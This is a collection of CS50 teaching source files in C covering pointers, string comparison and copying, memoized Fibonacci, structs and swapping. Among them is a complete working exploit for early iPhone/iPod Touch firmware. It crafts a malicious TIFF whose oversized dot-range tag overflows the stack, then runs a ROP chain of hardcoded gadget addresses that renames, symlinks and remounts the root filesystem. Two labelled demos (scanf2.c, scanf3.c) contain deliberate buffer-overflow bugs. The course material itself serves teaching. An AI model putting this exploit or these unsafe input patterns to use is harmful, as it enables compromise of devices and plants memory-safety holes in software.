```
 1: /**************************************************************************
 2:  * bar.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Offers opportunities to play with pointers with GDB.
 8:  **************************************************************************/
 9:
10: #include <stdio.h>
11:
12:
13: int  foo(int n);
14: void bar(int m);
15:
16: int
17: main(int argc, char * argv[])
18: {
19:         int a;
20:     char * s = "hello, world";
21:     printf("%s\n", &s[7]);
22:         a = 5;
23:         foo(a);
24:         return 0;
25: }
26:
27: int
28: foo(int n)
29: {
30:         int b;
31:         b = n;
32:         b *= 2;
33:         bar(b);
34:         return b;
35: }
36:
37: void
38: bar(int m)
39: {
40:         printf("Hi, I'm bar!\n");
41: }
42:
```

```
 1: /**********************************************************************
 2:  * buggy3.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Should swap two variables' values, but doesn't!
 8:  * Can you find the bug?
 9:  **********************************************************************/
10:
11: #include <stdio.h>
12:
13:
14: /* function prototype */
15: void swap(int, int);
16:
17:
18: int
19: main(int argc, char * argv[])
20: {
21:     int x = 1;
22:     int y = 2;
23:
24:     printf("x is %d\n", x);
25:     printf("y is %d\n", y);
26:     printf("Swapping...\n");
27:     swap(x, y);
28:     printf("Swapped!\n");
29:     printf("x is %d\n", x);
30:     printf("y is %d\n", y);
31: }
32:
33:
34: /*
35:  * void
36:  * swap(int a, int b)
37:  *
38:  * Swap arguments' values.
39:  */
40:
41: void
42: swap(int a, int b)
43: {
44:     int tmp;
45:
46:     tmp = a;
47:     a = b;
48:     b = tmp;
49: }
```

```
 1: /**************************************************************************
 2:  * compare1.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Tries (and fails) to compare two strings.
 8:  *
 9:  * Demonstrates strings as pointers to arrays.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <stdio.h>
14: #include <string.h>
15:
16:
17: int
18: main(int argc, char * argv[])
19: {
20:     // get line of text
21:     printf("Say something: ");
22:     char * s1 = GetString();
23:
24:     // get another line of text
25:     printf("Say something: ");
26:     char * s2 = GetString();
27:
28:     // try (and fail) to compare strings
29:     if (s1 == s2)
30:         printf("You typed the same thing!\n");
31:     else
32:         printf("You typed different things!\n");
33: }
```

```
 1: /**************************************************************************
 2:  * compare2.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Compares two strings.
 8:  *
 9:  * Demonstrates strings as pointers to arrays.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <stdio.h>
14: #include <string.h>
15:
16:
17: int
18: main(int argc, char * argv[])
19: {
20:     // get line of text
21:     printf("Say something: ");
22:     char * s1 = GetString();
23:
24:     // get another line of text
25:     printf("Say something: ");
26:     char * s2 = GetString();
27:
28:     // try to compare strings
29:     if (s1 != NULL && s2 != NULL)
30:     {
31:         if (!strcmp(s1, s2))
32:             printf("You typed the same thing!\n");
33:         else
34:             printf("You typed different things!\n");
35:     }
36: }
```

```
 1: /**************************************************************************
 2:  * copy1.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Tries and fails to copy two strings.
 8:  *
 9:  * Demonstrates strings as pointers to arrays.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <ctype.h>
14: #include <stdio.h>
15: #include <stdlib.h>
16: #include <string.h>
17:
18:
19: int
20: main(int argc, char * argv[])
21: {
22:     // get line of text
23:     printf("Say something: ");
24:     char * s1 = GetString();
25:     if (s1 == NULL)
26:         return 1;
27:
28:     // try (and fail) to copy string
29:     char * s2 = s1;
30:
31:     // change "copy"
32:     printf("Capitalizing copy...\n");
33:     if (strlen(s2) > 0)
34:         s2[0] = toupper(s2[0]);
35:
36:     // print original and "copy"
37:     printf("Original: %s\n", s1);
38:     printf("Copy:     %s\n", s2);
39:
40:     // free memory
41:     free(s1);
42: }
```

```
 1: /**************************************************************************
 2:  * copy2.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Copies a string.
 8:  *
 9:  * Demonstrates strings as pointers to arrays.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <ctype.h>
14: #include <stdio.h>
15: #include <stdlib.h>
16: #include <string.h>
17:
18:
19: int
20: main(int argc, char * argv[])
21: {
22:     // get line of text
23:     printf("Say something: ");
24:     char * s1 = GetString();
25:     if (s1 == NULL)
26:         return 1;
27:
28:     // allocate enough space for copy
29:     char * s2 = malloc(strlen(s1) * sizeof(char) + 1);
30:     if (s2 == NULL)
31:         return 1;
32:
33:     // copy string
34:     if (s2 != NULL)
35:     {
36:         int n = strlen(s1);
37:         for (int i = 0; i < n; i++)
38:             s2[i] = s1[i];
39:         s2[n] = '\0';
40:     }
41:
42:     // change copy
43:     printf("Capitalizing copy...\n");
44:     if (strlen(s2) > 0)
45:         s2[0] = toupper(s2[0]);
46:
47:     // print original and copy
48:     printf("Original: %s\n", s1);
49:     printf("Copy:     %s\n", s2);
50:
51:     // free memory
52:     free(s1);
53:     free(s2);
54: }
```

```
 1: /**************************************************************************
 2:  * fs4.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Computes n'th Fibonacci number.
 8:  *
 9:  * Demonstrates dynamic memory allocation.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <stdio.h>
14: #include <stdlib.h>
15:
16:
17: // prototype
18: long long fs(int);
19:
20: // cache of answers
21: long long * memo;
22:
23: // sentinel value indicating absence of a memoized answer
24: const long long SENTINEL = -1;
25:
26:
27: int
28: main(int argc, char * argv[])
29: {
30:     int i, n;
31:
32:     // ensure proper usage
33:     if (argc != 2)
34:     {
35:         printf("Usage: %s n\n", argv[0]);
36:         return 1;
37:     }
38:
39:     // validate n
40:     n = atoi(argv[1]);
41:     if (n < 0)
42:     {
43:         printf("Input must be non-negative.\n");
44:         return 1;
45:     }
46:
47:     // instantiate memo
48:     memo = (long long *) malloc((n+1) * sizeof(long long));
49:     if (memo == NULL)
50:     {
51:         printf("Out of memory!\n");
52:         return 2;
53:     }
54:
55:     // initialize memo, using sentinel for answers not yet computed
56:     memo[0] = 0;
57:     memo[1] = 1;
58:     for (i = 2; i <= n; i++)
59:         memo[i] = SENTINEL;
60:
61:     // compute and print n'th number in Fibonacci sequence
62:     printf("fs(%d) = %lld\n", n, fs(n));
63:
64:     // free up memory
```

```
65:     free(memo);
66: }
67:
68:
69: /*
70:  * long long
71:  * fs(int n)
72:  *
73:  * Returns n’th number in Fibonacci sequence.
74:  */
75:
76: long long
77: fs(int n)
78: {
79:     // compute n’th number
80:     if (memo[n] != SENTINEL)
81:     {
82:         printf("Found fs(%d) in memo.\n", n);
83:         return memo[n];
84:     }
85:     else
86:     {
87:         memo[n] = fs(n-1) + fs(n-2);
88:         printf("Computed fs(%d) for first time.\n", n);
89:         return memo[n];
90:     }
91: }
92:
```

```
 1: /*
 2:
 3: Exploit for iTouch/iPhone by Toc2rta ( Dre + Niacin )
 4:
 5: Credit for the discovery goes to Tavis
 6:
 7: */
 8:
 9: #include <stdio.h>
10: #include <stdlib.h>
11: #include <string.h>
12: #include <vector>
13:
14: using namespace std;
15:
16: void
17: print_pad(int n, char p = '\0')
18: {
19:     for (int i = 0; i < n; i++)
20:         printf("%c", p);
21: }
22:
23: void
24: print_arr(char *arr, int size)
25: {
26:     for (int i = 0; i < size; i++)
27:         printf("%c", arr[i]);
28: }
29:
30: struct Node
31: {
32:     typedef enum { VAL, STACK, BYTES, PTR } NodeType;
33:     NodeType type;
34:
35:     union
36:     {
37:         int value;
38:         char bytes[4];
39:     };
40:
41:     Node()
42:         : type(VAL), value(0)
43:         { }
44:
45:     Node(const Node &_node)
46:         : type(_node.type), value(_node.value)
47:         { }
48:
49:     Node(int _value, NodeType _type = VAL)
50:         : type(_type), value(_value)
51:         { }
52:
53: };
54:
55: struct Ptr
56: {
57:     char *str;
58:     Node node;
59: };
60:
61: struct Stack
62: {
63:     Stack(Node &_base, Ptr *_strings)
64:         : base(_base), strings(_strings)
```

```
   65:         { }
   66:
   67:     void Add(Node node)
   68:     {
   69:         switch (node.type)
   70:         {
   71:             case Node::BYTES:
   72:                 base.value += node.value;
   73:                 break;
   74:             case Node::STACK:
   75:                 node.value += base.value;
   76:                 // fall through
   77:             default:
   78:                 base.value += 4;
   79:         }
   80:
   81:         stack.push_back(node);
   82:     }
   83:
   84:     void Write()
   85:     {
   86:         for (int i = 0; strings[i].str; i++)
   87:         {
   88:             strings[i].node.value = base.value;
   89:             base.value += strlen(strings[i].str) + 1;
   90:         }
   91:
   92:         for (vector<Node>::iterator it = stack.begin(), end = stack.end(); it !=
end; ++it)
   93:         {
   94:             switch (it->type)
   95:             {
   96:                 case Node::BYTES:
   97:                     print_pad(it->value, 0x00);
   98:                     break;
   99:                 case Node::PTR:
  100:                     print_arr(strings[it->value].node.bytes, 4);
  101:                     break;
  102:                 default:
  103:                     print_arr(it->bytes, 4);
  104:             }
  105:         }
  106:
  107:         for (int i = 0; strings[i].str; i++)
  108:         {
  109:             print_arr(strings[i].str, strlen(strings[i].str) + 1);
  110:         }
  111:     }
  112:
  113:     vector<Node> stack;
  114:     Node base;
  115:     Ptr *strings;
  116: };
  117:
  118:     void
  119: build_tif(Node &sp, Node &pc)
  120: {
  121:     char tif[] =
  122:     {
  123:         0x49,0x49,        // header
  124:         0x2a,0x00,        // version
  125:         0x1e,0x00,0x00,0x00,    // IFD location
  126:         0x00,0x00,0x00,0x00,    // padding to IFD
  127:         0x00,0x00,0x00,0x00,
```

```
  128:         0x00,0x00,0x00,0x00,
  129:         0x00,0x00,0x00,0x00,
  130:         0x00,0x00,0x00,0x00,0x00,0x00,
  131:         0x08,0x00,        // 8 tags in the image
  132:         0x00,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,    // image
 width = 8,
  133:         0x01,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,    // image
 length = 8,
  134:         0x03,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xaa,0x00,0x00,0x00,    // sampl
es per pixel = 1
  135:         0x06,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xbb,0x00,0x00,0x00,    // photo
metric interpretation = black(1)
  136:         0x11,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00,    // strip
 offsets = 8
  137:         0x17,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x15,0x00,0x00,0x00,    // strip
 byte counts = 15
  138:         0x1c,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,    // plana
r configuration = 1
  139:         0x50,0x01,0x03,0x00,0xff,0x00,0x00,0x00,0x84,0x00,0x00,0x00,    // dot r
ange, length = 0xff, offset from start of file 0x84
  140:         0x00,0x00,0x00,0x00,                        // padding to dot range data
 start
  141:     };
  142:
  143:     print_arr(tif, sizeof(tif));
  144:     print_pad(104, 0x00);
             // padding
  145:     print_arr(sp.bytes, 4);
  146:     print_pad(12, 0x00);
            // padding
  147:     print_arr(pc.bytes, 4);
  148:
  149: }
  150:
  151:     int
  152: main(int argc, char **argv)
  153: {
  154:
  155:     if (argc != 2)
  156:     {
  157:         printf("Usage: %s <1.0.2/1.1.1>\n", argv[0]);
  158:         return 1;
  159:     }
  160:
  161:     int version = (!strcmp(argv[1], "1.0.2") ? 0 : 1);
  162:
  163:     Ptr str[] = {
  164:         { "/var/root/Media", 0 },
  165:         { "/var/root/Oldmedia", 0 },
  166:         { "/", 0 },
  167:         { "hfs", 0 },
  168:         { "/dev/disk0s1", 0 },
  169:         { NULL, 0 }
  170:     };
  171:
  172:     Node base(version == 0 ? 0x0055a638 : 0x006f7638);
  173:
  174:     Stack stack(base, str);
  175:
  176:     Node ldmia_r4_r0(version == 0 ? 0x310b668c : 0x3125368c); // ldmia r4!, {r0,
 r1, r2, r3, r5, r6, r12, sp, lr, pc}
  177:     Node ldmia_sp_r4(0x3000adfc);                           // ldmia sp!, {r4,
 r7, pc}
  178:     Node ldmia_sp_r0(0x300df800);                           // ldmia sp!, {r0,
```

```
r1, r2, r3, pc}
 179:
 180:     Node rename(0x30015530);
 181:     Node symlink(0x30027300);
 182:     Node mount(0x300267d0);
 183:     Node dead(0xdeadbeef);
 184:
 185:     build_tif(base, ldmia_r4_r0);           // set stack base and initial jump
 186:
 187:     stack.Add(Node(0, Node::PTR));          // r0 = "/var/root/Media"
 188:     stack.Add(Node(1, Node::PTR));          // r1 = "/var/root/Oldmedia"
 189:     stack.Add(Node(20, Node::BYTES));       // r2,r3,r5,r6,r12
 190:     stack.Add(Node(12, Node::STACK));       // sp    -> offset 12
 191:     stack.Add(ldmia_sp_r4);                 // lr = load r4,r7,pc from sp
 192:     stack.Add(rename);                      // pc = rename(r0, r1)
 193:
 194:     stack.Add(Node(12, Node::STACK));       // r4 = sp -> offset 12
 195:     stack.Add(Node(4, Node::BYTES));        // r7 = unused
 196:     stack.Add(ldmia_r4_r0);                 // pc = load r0...lr from r4
 197:
 198:     stack.Add(Node(2, Node::PTR));          // r0 = "/"
 199:     stack.Add(Node(0, Node::PTR));          // r1 = "/var/root/Media"
 200:     stack.Add(Node(20, Node::BYTES));       // r2,r3,r5,r6,r12
 201:     stack.Add(Node(12, Node::STACK));       // sp -> offset 12
 202:     stack.Add(ldmia_sp_r0);                 // lr = load from r0..pc from sp
 203:     stack.Add(symlink);                     // pc = symlink(r0, r1)
 204:
 205:     stack.Add(Node(3, Node::PTR));          // r0 = "hfs"
 206:     stack.Add(Node(2, Node::PTR));          // r1 = "/"
 207:     stack.Add(Node(0x00050000, Node::VAL)); // r2 = MNT_RELOAD | MNT_UPDATE
 208:     stack.Add(Node(8, Node::STACK));        // r3 = **data
 209:     stack.Add(mount);                       // pc = mount(r0, r1, r2, r3)
 210:     stack.Add(Node(4, Node::PTR));          // data = "/dev/disk0s1"
 211:
 212:     stack.Write();
 213:
 214:     return 0;
 215: }
```

```
 1: /**************************************************************************
 2:  * pointers1.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Prints a given string one character per line.
 8:  *
 9:  * Demonstrates pointer arithmetic.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <stdio.h>
14: #include <stdlib.h>
15: #include <string.h>
16:
17:
18: int
19: main(int argc, char * argv[])
20: {
21:     int i, n;
22:     char * s;
23:
24:     // get line of text
25:     s = GetString();
26:     if (s == NULL)
27:         return 1;
28:
29:     // print string, one character per line
30:     for (i = 0, n = strlen(s); i < n; i++)
31:         printf("%c\n", *(s+i));
32:
33:     // free string
34:     free(s);
35: }
```

```
 1: /**************************************************************************
 2:  * pointers2.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Iterates over an array of ints.
 8:  *
 9:  * Demonstrates pointer arithmetic.
10:  **************************************************************************/
11:
12: #include <cs50.h>
13: #include <stdio.h>
14: #include <string.h>
15:
16:
17: int
18: main(int argc, char * argv[])
19: {
20:     int numbers[] = {1, 2, 3, 4, 5};
21:
22:     printf("Size of array is %d.\n", sizeof(numbers));
23:     printf("Size of each element is %d.\n", sizeof(numbers[0]));
24:     for (int i = 0, n = sizeof(numbers) / sizeof(numbers[0]); i < n; i++)
25:         printf("%d\n", *(numbers+i));
26: }
```

```
 1: /**************************************************************************
 2:  * scanf2.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Reads a string from the user into memory it shouldn't.
 8:  *
 9:  * Demonstrates possible attack!
10:  **************************************************************************/
11:
12: #include <stdio.h>
13:
14:
15: int
16: main(int argc, char * argv[])
17: {
18:     char * buffer;
19:
20:     printf("String please: ");
21:     scanf("%s", buffer);
22:     printf("Thanks for the \"%s\"!\n", buffer);
23: }
```

```
 1: /**************************************************************************
 2:  * scanf3.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Reads a string from the user into an array (dangerously).
 8:  *
 9:  * Demonstrates potential buffer overflow!
10:  **************************************************************************/
11:
12: #include <stdio.h>
13:
14:
15: int
16: main(int argc, char * argv[])
17: {
18:     char buffer[16];
19:
20:     printf("String please: ");
21:     scanf("%s", buffer);
22:     printf("Thanks for the \"%s\"!\n", buffer);
23: }
```

```
 1: /**********************************************************************
 2:  * scanf1.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Reads a number from the user into an int.
 8:  *
 9:  * Demonstrates scanf and address-of operator.
10:  **********************************************************************/
11:
12: #include <stdio.h>
13:
14:
15: int
16: main(int argc, char * argv[])
17: {
18:     int x;
19:
20:     printf("Number please: ");
21:     scanf("%d", &x);
22:     printf("Thanks for the %d!\n", x);
23: }
```

```
 1: /**************************************************************************
 2:  * structs1.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Demonstrates use of structs.
 8:  **************************************************************************/
 9:
10: #include <cs50.h>
11: #include <stdio.h>
12: #include <stdlib.h>
13: #include <string.h>
14:
15: #include "structs.h"
16:
17:
18: // class STUDENTS
19: #define STUDENTS 3
20:
21:
22: int
23: main(int argc, char * argv[])
24: {
25:     // declare class
26:     student class[STUDENTS];
27:
28:     // populate class with user's input
29:     for (int i = 0; i < STUDENTS; i++)
30:     {
31:         printf("Student's ID: ");
32:         class[i].id = GetInt();
33:
34:         printf("Student's name: ");
35:         class[i].name = GetString();
36:
37:         printf("Student's house: ");
38:         class[i].house = GetString();
39:         printf("\n");
40:     }
41:
42:     // now print anyone in Mather
43:     for (int i = 0; i < STUDENTS; i++)
44:         if (strcmp(class[i].house, "Mather") == 0)
45:             printf("%s is in Mather!\n\n", class[i].name);
46:
47:     // free memory
48:     for (int i = 0; i < STUDENTS; i++)
49:     {
50:         free(class[i].name);
51:         free(class[i].house);
52:     }
53: }
54:
```

```
 1: /**************************************************************************
 2:  * structs.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Demonstrates use of structs.
 8:  **************************************************************************/
 9:
10: #include <cs50.h>
11: #include <stdio.h>
12: #include <stdlib.h>
13: #include <string.h>
14:
15: #include "structs.h"
16:
17:
18: // class STUDENTS
19: #define STUDENTS 3
20:
21:
22: int
23: main(int argc, char * argv[])
24: {
25:     // declare class
26:     student class[STUDENTS];
27:
28:     // populate class with user's input
29:     for (int i = 0; i < STUDENTS; i++)
30:     {
31:         printf("Student's ID: ");
32:         class[i].id = GetInt();
33:
34:         printf("Student's name: ");
35:         class[i].name = GetString();
36:
37:         printf("Student's house: ");
38:         class[i].house = GetString();
39:         printf("\n");
40:     }
41:
42:     // now print anyone in Mather
43:     for (int i = 0; i < STUDENTS; i++)
44:         if (strcmp(class[i].house, "Mather") == 0)
45:             printf("%s is in Mather!\n\n", class[i].name);
46:
47:     // let's save these students to disk
48:     FILE *fp = fopen("database", "w");
49:     if (fp != NULL)
50:     {
51:         for (int i = 0; i < STUDENTS; i++)
52:         {
53:             fprintf(fp, "%d\n", class[i].id);
54:             fprintf(fp, "%s\n", class[i].name);
55:             fprintf(fp, "%s\n", class[i].house);
56:         }
57:         fclose(fp);
58:     }
59:
60:     // free memory
61:     for (int i = 0; i < STUDENTS; i++)
62:     {
63:         free(class[i].name);
64:         free(class[i].house);
```

```
65:     }
66: }
67:
```

```
 1: /**********************************************************************
 2:  * structs.h
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Defines a student for structs{1,2,3}.c.
 8:  **********************************************************************/
 9:
10:
11: // structure representing a student
12: typedef struct
13: {
14:     int id;
15:     char * name;
16:     char * house;
17: }
18: student;
19:
```

```
 1: /**********************************************************************
 2:  * swap.c
 3:  *
 4:  * Computer Science 50
 5:  * David J. Malan
 6:  *
 7:  * Swaps two variables' values.
 8:  *
 9:  * Demonstrates passing by reference.
10:  **********************************************************************/
11:
12: #include <stdio.h>
13:
14:
15: // function prototype
16: void swap(int *, int *);
17:
18:
19: int
20: main(int argc, char * argv[])
21: {
22:     int x = 1;
23:     int y = 2;
24:
25:     printf("x is %d\n", x);
26:     printf("y is %d\n", y);
27:     printf("Swapping...\n");
28:     swap(&x, &y);
29:     printf("Swapped!\n");
30:     printf("x is %d\n", x);
31:     printf("y is %d\n", y);
32: }
33:
34:
35: /*
36:  * void
37:  * swap(int *a, int *b)
38:  *
39:  * Swap arguments' values.
40:  */
41:
42: void
43: swap(int *a, int *b)
44: {
45:     int tmp;
46:
47:     tmp = *a;
48:     *a = *b;
49:     *b = tmp;
50: }
```